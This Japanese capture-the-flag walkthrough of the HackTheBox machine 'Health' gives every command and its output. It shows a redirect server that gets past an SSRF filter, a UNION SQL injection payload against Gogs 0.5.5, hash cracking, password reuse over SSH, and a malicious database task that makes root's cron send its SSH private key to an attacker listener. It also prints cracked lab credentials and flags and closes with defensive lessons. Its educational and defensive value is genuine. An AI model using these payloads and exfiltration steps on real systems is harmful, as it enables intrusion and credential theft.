HackTheBox: Health — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http, 3000/tcp filtered
→
22/tcp ssh, 80/tcp http, 3000/tcp filtered
SSRF localhost フィルタ発見
127.0.0.1/localhost直指定は拒否
→
127.0.0.1/localhost直指定は拒否
302リダイレクトでバイパス
自ホスト経由でfile_get_contents()誘導
→
自ホスト経由でfile_get_contents()誘導
Gogs 0.5.5 SQLi (27列UNION)
susanne のPBKDF2ハッシュ窃取
→
susanne のPBKDF2ハッシュ窃取
hashcat -m 10900
february15 クラック成功
→
february15 クラック成功
susanne SSH
user.txt ✓
→
user.txt ✓
Laravel tasksテーブル直接INSERT
root cron に file:///root/.ssh/id_rsa を読ませる
→
root cron に file:///root/.ssh/id_rsa を読ませる
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.52.56 nmap -sV -sC -p 22,80 10.129.52.56
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 80/tcp open http Apache httpd 2.4.29 (Ubuntu) 3000/tcp filtered ppp |_http-title: HTTP Monitoring Tool
ℹ️
3000/tcp が filtered(外部からファイアウォールで遮断)になっている点に注目。
後にこのポートで動く内部限定サービス(Gogs)へ、Webアプリ自体のSSRF機能経由でアクセスすることになる。
Webアプリの確認 & hosts登録
BASH
curl -sI http://10.129.52.56 echo "10.129.52.56 health.htb" | sudo tee -a /etc/hosts
RESULT
HTTP/1.1 200 OK Server: Apache/2.4.29 (Ubuntu) Set-Cookie: XSRF-TOKEN=...; Set-Cookie: laravel_session=... Content-Type: text/html; charset=UTF-8
ℹ️
laravel_session/XSRF-TOKEN Cookie から Laravel フレームワーク製と判明。
トップページのタイトルは “HTTP Monitoring Tool” — URLの死活監視 & Webhook通知サービス。
PHASE 2
SSRF localhost フィルタバイパス
Webhook設定フォームの確認
BASH
curl -s http://health.htb/ -o index.html grep -oE '<(input|form)[^>]*>' index.html
RESULT
<form method="post" action="http://health.htb/webhook"> <input type="hidden" name="_token" value="..."> <input type="text" name="webhookUrl" placeholder="http://example.com/postreceive"/> <input type="text" name="monitoredUrl" placeholder="http://example.com"/> <input type="text" name="frequency" placeholder="*/5 * * * *"/> <select name="onlyError">...</select> <input type="submit" name="action" value="Create"/> <input type="submit" name="action" value="Test"/>
ℹ️
フォームは
POST /webhook に送信され、Laravel の CSRF 保護のため _token
(隠しフィールド) が必須。action=Test を押すと monitoredUrl への
HTTPチェックが即時実行され、結果が webhookUrl へコールバックPOSTされる。
localhost 直接指定は拒否される
NOTE
monitoredUrl に http://localhost:3000/ や http://127.0.0.1:3000/ を指定すると アプリ側でブロックされ Webhook が発火しない(localhost/127.0.0.1 文字列フィルタ)。
302リダイレクトサーバーでバイパス
PYTHON (health_redirect.py)
import http.server, urllib.parse, sys
class RedirectHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
qs = urllib.parse.urlparse(self.path).query
target = urllib.parse.parse_qs(qs).get("url", [None])[0]
if target:
self.send_response(302)
self.send_header("Location", target)
self.end_headers()
else:
self.send_response(400); self.end_headers()
http.server.HTTPServer(("0.0.0.0", 19061), RedirectHandler).serve_forever()
BASH
python3 health_redirect.py & # 自ホスト:19061 で302リダイレクトサーバーを起動
ℹ️
monitoredUrl=http://<kali>:19061/?url=http://localhost:3000/
のように攻撃者ホストを一度経由させ、そこから302リダイレクトで本当の
localhost:3000 へ転送する。フィルタは monitoredUrl の文字列そのものだけを検査しており、
PHPの file_get_contents() がリダイレクト先を自動追跡することは考慮していない。
CSRFトークン付きでWebhook Testを送信 & コールバック捕捉
PYTHON
sess = requests.Session()
r = sess.get("http://health.htb/")
token = re.search(r'name="_token"\s+value="([^"]+)"', r.text).group(1)
fields = {
"_token": token,
"webhookUrl": "http://<kali>:19062/",
"monitoredUrl": "http://<kali>:19061/?url=" + urllib.parse.quote("http://localhost:3000/", safe=""),
"frequency": "* * * * *",
"onlyError": "0",
"action": "Test",
}
sess.post("http://health.htb/webhook", data=fields)
RESULT (捕捉サーバー側)
CAPTURED: {"webhookUrl":"http:\/\/<kali>:19062\/",
"monitoredUrl":"http:\/\/<kali>:19061\/?url=http%3A%2F%2Flocalhost%3A3000%2F",
"health":"up",
"body":"<!DOCTYPE html>...<title>Gogs: Go Git Service</title>...
Version: 0.5.5.1010 Beta ..."}
✅
SSRFバイパス成功。ファイアウォールで外部遮断されている内部専用の
Gogs 0.5.5.1010 Beta(Go言語製Gitホスティング)にアクセスできた。
このバージョンは既知のSQLインジェクションに脆弱。
PHASE 3
Gogs 0.5.5 SQLインジェクション — 資格情報の抽出
ローカル環境の複製とSQLi箇所の特定
BASH
# 自動化ツール(sqlmap)は直接使えないため、同一バージョンをローカルに構築して調査 wget https://github.com/gogs/gogs/releases/download/v0.11.91/linux_amd64.zip # 0.5.5系相当ビルド unzip linux_amd64.zip && cd gogs && ./gogs web # ブラウザで localhost:3000/install を初期セットアップ sqlmap -u "http://localhost:3000/api/v1/users/search?q=*" --dbs --batch --risk 3 --level 5
RESULT
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (random number) - 27 columns
🚨
/api/v1/users/search?q= パラメータが SQLite ベースの UNION SQLi に脆弱。
user テーブルは 27列(id, lower_name, name, full_name,
email, passwd, …, salt, rands, …)で構成されており、UNION SELECT には
列数を完全一致させる必要がある。また API レスポンスの JSON に反映されるのは
username フィールド(3列目の name カラムに対応)のみのため、
抽出したいデータはこの3列目に配置しなければならない。
27列・3列目にデータ抽出ペイロードを配置したUNIONクエリ構築
PYTHON
PAYLOAD_COL = (
"CHAR(113,120,106,112,113)||COALESCE((name/**/||CHAR(112,97,115,115,119,100)||/**/passwd/**/||"
"CHAR(112,97,115,115,119,100)||CHAR(115,97,108,116)||salt||CHAR(115,97,108,116)||"
"CHAR(114,97,110,100,115)||rands||CHAR(114,97,110,100,115)),CHAR(32))||CHAR(113,113,120,98,113)"
)
# 27列: 1,2列目はダミー、3列目(name相当の位置)にPAYLOAD_COL、残り24列はダミー
cols = ["2833", "2833", PAYLOAD_COL] + ["2833"] * 24
sqli = "')/**/UNION/**/ALL/**/SELECT/**/" + ",".join(cols) + "/**/FROM/**/user--/**/KCpu"
# 空白文字(0x20)がフィルタされているため /**/ (SQLコメント) を空白代わりに使用
⚠️
qxjpq/qqxbq は抽出データの前後に付与するランダムな目印文字列で、
レスポンス中から正規表現 qxjpq(.+?)passwd([0-9a-f]+)passwdsalt(.+?)saltrands(.+?)randsqqxbq
で name/passwd/salt/rands の4値を一括抽出するための区切り。
SSRFリダイレクト経由でSQLiを実行しコールバックで結果を取得
BASH
# SQLi対象URLを構築 → リダイレクトサーバー経由のmonitoredUrlに二重URLエンコードで埋め込み sqli_url = "http://localhost:3000/api/v1/users/search?q=" + urllib.parse.quote(sqli, safe="") monitored_url = "http://<kali>:19061/?url=" + urllib.parse.quote(sqli_url, safe="") # Phase2と同じ手順でWebhook Testを送信
RESULT (捕捉サーバー側)
CAPTURED: {..., "health":"up", "body":"{\"data\":[
{\"username\":\"susanne\",\"avatar\":\"...\"},
{\"username\":\"qxjpqsusannepasswd66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37passwdsaltsO3XIbeW14saltrandsm7483YfL9Krandsqqxbq\",
\"avatar\":\"...\"}
],\"ok\":true}"}
✅
SQLi成功。 抽出データ:
name=susanne,
passwd=66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37,
salt=sO3XIbeW14, rands=m7483YfL9K
hashcat でハッシュをクラック
BASH
# Gogs のハッシュ方式は PBKDF2 + HMAC + SHA256。hashcat -m 10900 の期待形式に変換。 b64_passwd=$(echo -n 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 | xxd -r -p | base64) b64_salt=$(echo -n sO3XIbeW14 | base64) echo "sha256:10000:$b64_salt:$b64_passwd" > hash.txt hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force --quiet hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --show --force
RESULT
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
✅
パスワードクラック成功:
susanne:february15
PHASE 4
SSH ログイン & user.txt 取得
SSH パスワード再利用の確認
BASH
sshpass -p february15 ssh susanne@health.htb "id; cat ~/user.txt"
RESULT
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne) 4fa6a858a992015e1721cec75322df09
user.txt — susanne@health
4fa6a858a992015e1721cec75322df09
✅
Gogs 側で使い回されていたパスワードがそのまま OS の SSH アカウントでも有効だった
(パスワード使い回しの典型例)。
PHASE 5
権限昇格の下調べ — Laravel アプリのソースコード & DB資格情報
HealthChecker.php の任意ファイル読取脆弱性
BASH
cat /var/www/html/app/Http/Controllers/HealthChecker.php
RESULT
class HealthChecker
{
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
$json = [];
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
$res = @file_get_contents($monitoredUrl, false);
if ($res) {
...
$json['body'] = $res;
}
}
}
🚨
$monitoredUrl は無検証で file_get_contents() に渡されており、
file:// スキームで任意のローカルファイルを読み取れる(SSRFに加えLFIも成立)。
DB資格情報の取得とタスクテーブルの発見
BASH
cat /var/www/html/.env
RESULT (抜粋)
DB_CONNECTION=mysql DB_DATABASE=laravel DB_USERNAME=laravel DB_PASSWORD=MYsql_strongestpass@2014+
BASH
mysql -u laravel -pMYsql_strongestpass@2014+ laravel --execute "show tables; desc tasks;"
RESULT
Tables_in_laravel: failed_jobs, migrations, password_resets,
personal_access_tokens, tasks, users
desc tasks:
id char(36) PRI
webhookUrl varchar(255)
onlyError tinyint(1)
monitoredUrl varchar(255)
frequency varchar(255)
created_at / updated_at
root による cron 実行の確認
BASH
# pspy64s を転送して実行中プロセスを監視 scp pspy64s susanne@health.htb:/tmp ssh susanne@health.htb "chmod +x /tmp/pspy64s && /tmp/pspy64s"
RESULT
CMD: UID=0 PID=... | /usr/sbin/CRON -f
CMD: UID=0 PID=... | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
🚨
root が毎分
php artisan schedule:run を実行している。
Laravel のスケジューラは tasks テーブルの内容をもとに HealthChecker::check()
を呼び出す実装になっているため、tasks テーブルへ直接悪性レコードをINSERTすれば、
root権限で任意ファイルを読み取り & 外部へ送信させられる。
PHASE 6
tasks テーブル悪性 INSERT → root.txt
Webhookコールバック捕捉サーバーを起動
BASH
nc -lnvp 19053
root の SSH 秘密鍵を読み取る悪性タスクをDBへ直接INSERT
BASH
ssh susanne@health.htb \ 'mysql -u laravel -pMYsql_strongestpass@2014+ laravel --execute \ "INSERT INTO tasks (id, monitoredUrl, onlyError, webhookUrl, frequency) VALUES \ (UUID(), '"'"'file:///root/.ssh/id_rsa'"'"', 0, '"'"'http://<kali>:19053/'"'"', '"'"'* * * * *'"'"');"'
RESULT (最大90秒待機後、nc リスナー側)
listening on [any] 19053 ...
POST / HTTP/1.1
Content-Type: application/json
{"webhookUrl":"http:\/\/<kali>:19053\/","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa",
"health":"up","body":"-----BEGIN OPENSSH PRIVATE KEY-----\n...\n-----END OPENSSH PRIVATE KEY-----\n"}
✅
root の SSH 秘密鍵を窃取成功。
file_get_contents("file:///root/.ssh/id_rsa")
は root 権限で動くスケジューラ経由で実行されるため、rootにしか読めないファイルの内容が
webhookUrl へそのまま外部送信される。
秘密鍵でSSHログイン & root.txt 取得
BASH
chmod 600 root_id_rsa ssh -i root_id_rsa root@health.htb "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) 90514aa846fb85acc9f8aef59e00d8b3
root.txt — root@health
90514aa846fb85acc9f8aef59e00d8b3
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — susanne@health
4fa6a858a992015e1721cec75322df09
root.txt — root@health
90514aa846fb85acc9f8aef59e00d8b3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SSRF localhostフィルタバイパス | HealthChecker (Monitored URL) | 内部限定サービス(Gogs:3000)への到達 | High | 文字列フィルタは monitoredUrl 自体のみを検査、302リダイレクトの追跡を考慮していない |
| Gogs 0.5.5.1010 Beta SQLインジェクション | /api/v1/users/search?q= (SQLite UNION-based) | ユーザーのパスワードハッシュ・salt漏洩 | Critical | 27列固定のUNION SELECTでname列位置にデータ抽出ペイロードを配置しJSON経由で外部窃取 |
| パスワード使い回し | Gogs susanne ↔ OS susanne | SSHログイン(user.txt) | Medium | hashcatでクラックしたGogsパスワードがそのままOSアカウントでも通用 |
| 任意ファイル読取 + rootタスクインジェクション | HealthChecker::check() の file_get_contents() + tasksテーブル | root権限のファイル読取・持ち出し | Critical | DB直結でtasksテーブルにfile:///root/.ssh/id_rsaを読ませる悪性レコードをINSERTしroot cronに実行させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80開放、3000filtered、”HTTP Monitoring Tool”検出 |
| 2 | SSRFバイパス | 302リダイレクトサーバー | 内部限定Gogs 0.5.5.1010 Betaへの到達 |
| 3 | SQLi | 27列UNION SELECT + hashcat -m10900 | susanne:february15 |
| 4 | エクスプロイト | SSHパスワード再利用確認 | user.txt 取得 |
| 5 | 権限調査 | ソースコード解析 + pspy64s | root cronによるLaravelスケジューラ実行を確認 |
| 6 | 権限昇格 | tasksテーブル直接INSERT | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SSRF対策が文字列フィルタのみでリダイレクト追跡を考慮していない | URLホワイトリスト方式を採用し、file_get_contents等のリダイレクト追跡機能自体を無効化する(stream_context の follow_location=0)。DNS解決結果ベースでプライベートIPレンジも遮断する。 |
| 古い自作Gitホスティング(Gogs 0.5.5、既知のSQLi脆弱性あり)を内部でも利用 | ファイアウォールで外部遮断していても内部から到達可能なら脆弱性は有効。定期的な脆弱性スキャンとバージョン更新を内部サービスにも適用する。 |
| Webアプリのパスワードと OS アカウントのパスワードを使い回し | サービスごとに個別のパスワード管理を徹底し、パスワードマネージャー/SSO導入を検討する。 |
| root権限のcronジョブが、非特権ユーザーが書き込めるDBの内容を無検証で実行対象に使用 | root権限で実行するジョブの入力元は最小権限のプロセス/DBユーザーに限定する。tasksテーブルへの書込み権限をアプリ専用DBユーザーに絞り、file://等の危険スキームをアプリ側でホワイトリスト外に弾く。 |

